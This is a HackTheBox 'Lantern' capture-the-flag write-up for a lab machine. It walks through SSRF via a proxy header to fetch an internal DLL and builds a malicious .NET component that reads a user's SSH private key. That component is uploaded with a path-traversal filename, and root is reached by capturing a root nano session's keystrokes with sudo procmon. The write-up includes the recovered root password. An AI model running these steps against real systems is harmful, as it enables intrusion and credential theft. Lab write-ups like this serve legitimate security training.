HackTheBox Lantern Writeup
Explore the fundamentals of cybersecurity in the Lantern Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.11.29 lantern.htb
Script to add hosts automatically
ip="10.10.11.29"
domain="lantern.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
22 - SSH
80 - HTTP
3000 - Blazor application
whatweb http://lantern.htb/ -v
Web Application Insights
When accessing
http://lantern.htb:3000, the console logs:<script src="_framework/blazor.server.js"></script>WebSocket connection:
WebSocket connected to ws://lantern.htb:3000/_blazor?id=-ODx7yAVlF-M0fiXgTGXag.Exploring further:
http://lantern.htb:3000/_framework/blazor.boot.json
Potential SSRF Exploit (CVE-2022-38580)
Reference: Exploit-DB 51111
The target site operates as an IT company and allows users to upload resumes at:
http://lantern.htb/vacancies
- The site is vulnerable to SSRF on ports 80 and 3000.
- Accessing
/_framework/blazor.boot.jsonreveals Blazor DLLs. - You can retrieve
InternaLantern.dllthrough an SSRF exploit.
For reference, the structure of the Blazor DLLs in _framework can be explored in this repository:
BlazorStyled Framework Structure
Retrive Information About dlls
GET /_framework/blazor.boot.json HTTP/1.1
X-Skipper-Proxy: http://127.0.0.1:5000
Host: lantern.htb
Connection: close
Retrieve the DLL
Download the DLL using the following HTTP GET request with Skipper Proxy:
wget http://lantern.htb/_framework/InternaLantern.dll \
--header="X-Skipper-Proxy: http://127.0.0.1:5000" \
--header="Host: lantern.htb" --header="Connection: close" \
-O InternaLantern.dll
Port 5000 was identified through fuzzing.
This command uses the SSRF vulnerability to retrieve the internal InternaLantern.dll file, leveraging Skipper Proxy.
Decompiling the DLL File
While dnSpy provides a comprehensive analysis of .NET assemblies, you can use avaloniailspy as a Linux-friendly alternative.
- Open
InternaLantern.dll. - Navigate to:
InternaLantern > InternalLantern.Pages > Internal > OnInitializedAsync - Search for instances of
Convert.FromBase64Stringcontaining Base64 strings. - Pay special attention to the last occurrence.
- Decode the Base64 string to uncover the password for logging in at http://lantern.htb:3000/.
Exploiting .NET Components
Install .NET 6 SDK
Install the .NET 6 SDK with your package manager using dotnet-sdk-6.0.
Create and Configure the .NET Project
Start by creating a new directory for your project and navigate into it. Then initialize a new console application:
dotnet new console -n sedlyf -f net6.0
cd sedlyf
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
sed -i 's/net8.0/net6.0/' sedlyf.csproj
sed -i 's/Exe/Library/' sedlyf.csproj
Update Program.cs
Replace the contents of Program.cs with the following code to include functionality for utilizing the render tree builder from ASP.NET components:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace sedlyf
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
Build the DLL
Compile your project to generate a DLL file with the following command, ensuring you are in the project directory:
dotnet build -c Release
This builds the project in release mode. The resulting DLL file, sedlyf.dll, will be located under bin/Release/net6.0/.
File Upload
Upload
sedlyf.dllusing theUpload contentfeature at http://lantern.htb:3000/.Intercept and Modify the Request:
- Use Burp Suite to intercept the request. Install the Blazor Traffic extension for data serialization and deserialization.
- Right-click the request, navigate to Extensions > Blazor Traffic Processor, and select Send Body to BTP tab.
- Deserialize the body and modify the upload path by replacing
sedlyf.dllwith../../../../../../opt/components/sedlyf.dll. After making the modification, reserialize the body and insert it back into the request. - Forward all requests and disable interception when finished.
After the upload is successful, search for the
sedlyfmodule to reveal its key.
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa tomas@lantern.htb
cat user.txt
cat /var/mail/$(whoami)
sudo -l
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
ps -aef | grep automation
Monitor automation.sh and capture its output.
OLD_PID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
while true; do
NEWPID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
if [ "$OLD_PID" != "$NEWPID" ] && [[ -n "$NEWPID" ]]; then
echo "We have a new PID! Old PID: $OLD_PID, New PID: $NEWPID"
OLD_PID=$NEWPID
sudo /usr/bin/procmon -p $NEWPID -e write -c nano$NEWPID.out
fi
sleep 5
done
Wait for approximately 2 minutes or until you have captured 5,000 lines of output.
Then, download the dumped data to your local machine.
scp -i id_rsa tomas@lantern.htb:/home/tomas/nano*.out nano*.out
Run a Python REPL.
python
and paste
import sqlite3, binascii, glob
file = glob.glob('./nano*.out')[0]
with sqlite3.connect(file) as conn:
cursor = conn.cursor()
cursor.execute("SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;")
hex_data = ''.join([row[0] for row in cursor.fetchall()])
binary_data = binascii.unhexlify(hex_data)
decoded_string = binary_data.decode('utf-8', errors='replace')
print("Decoded Data:\n", decoded_string)
Decoded data without escape codes: Q 33EEddddttddww33ppMMBB
Removing duplicates results in: Q3Eddtdw3pMB.
su root
cat /root/root.txt